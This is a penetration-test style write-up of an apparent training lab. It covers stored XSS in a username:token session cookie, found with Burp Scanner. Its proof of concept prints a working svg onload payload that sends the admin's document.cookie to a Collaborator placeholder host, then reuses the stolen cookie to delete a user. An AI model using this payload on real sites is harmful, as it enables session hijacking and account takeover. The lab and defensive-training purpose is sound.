Scanning non-standard data structures(essentials)

Executive Summary

This penetration test identified a **Stored Cross-site Scripting (XSS)** vulnerability in a non-standard session cookie structure of the target web application. The vulnerability was discovered using Burp Suite's targeted scanning of selected insertion points. It allowed an attacker to exfiltrate the administrator's session cookie and gain unauthorized access to privileged functionality. The issue is rated **high severity**, as it enables full session hijacking and administrative access without credentials.

Introduction

This assessment was conducted to evaluate the security of session management and data handling practices within the application. The primary goal was to identify unconventional data structures vulnerable to client-side attacks using precise scanning methods.

Methodology

1. Logged into the application with provided user credentials.

2. Inspected traffic using Burp Suite's Proxy and identified non-standard formatting in the session cookie.

3. Performed targeted scanning using Burp's "Scan selected insertion point" on the user-controlled portion of the cookie.

4. Analyzed scan results which indicated stored XSS.

5. Used Burp Collaborator to verify and exploit the vulnerability, capturing the admin user's session cookie.

6. Reused the stolen cookie to access the admin panel and delete a specific user, completing the lab objective.

Vulnerability Findings

- **Type**: Stored Cross-site Scripting (XSS)

- **Location**: User-controlled segment of the `session` cookie

- **Severity**: High

Description

The application used a session cookie formatted as `username:token`. The portion before the colon is user-controllable and not properly sanitized. When Burp Scanner was used to scan this section, it detected stored XSS that later executed in an administrator's browser, resulting in a successful exfiltration of session credentials.

Proof of Concept (PoC)

1. Logged in with:

   `username: user`

   `password: password`

2. Identified session cookie format:

   `Cookie: session=user:2fd81616b87df...`

3. Selected the `wiener` portion and performed a Scan selected insertion point.

4. Burp Scanner triggered a successful interaction with Burp Collaborator, confirming stored XSS.

5. Modified payload to exfiltrate admin's cookie:

   js

   CopyEdit

   ``'"><svg/onload=fetch(`//<YOUR-COLLABORATOR-ID>/${encodeURIComponent(document.cookie)}`)>:2fd81616b87df...``

6. Waited for the admin to visit the vulnerable endpoint.

7. Captured admin's session via Burp Collaborator logs.

8. Replaced session in browser and accessed:

   `/admin`

9. Deleted `user` using the admin panel.

Impact Assessment

Successful exploitation allowed:

- Full takeover of administrative accounts.

- Access to sensitive actions and user data.

- Persistent XSS that could be reused to target other users.

- Breach of confidentiality and session integrity.

<u>Recommendations</u>

1. Sanitize and validate all user-controlled data before including it in cookies or storing it on the server.

2. Avoid using custom session structures with user input unless properly encoded and signed.

3. Implement Content Security Policy (CSP) headers to reduce XSS impact.

4. Use HttpOnly and Secure flags for session cookies.

5. Regularly scan non-standard or complex input points during security assessments.

<u>Conclusion</u>

This test demonstrated how vulnerable legacy or unconventional data handling mechanisms can be, especially when combined with stored scripting issues. The use of targeted scanning tools like Burp Scanner can significantly reduce the time to detection. Immediate remediation is advised to prevent session hijacking and privilege escalation in production environments.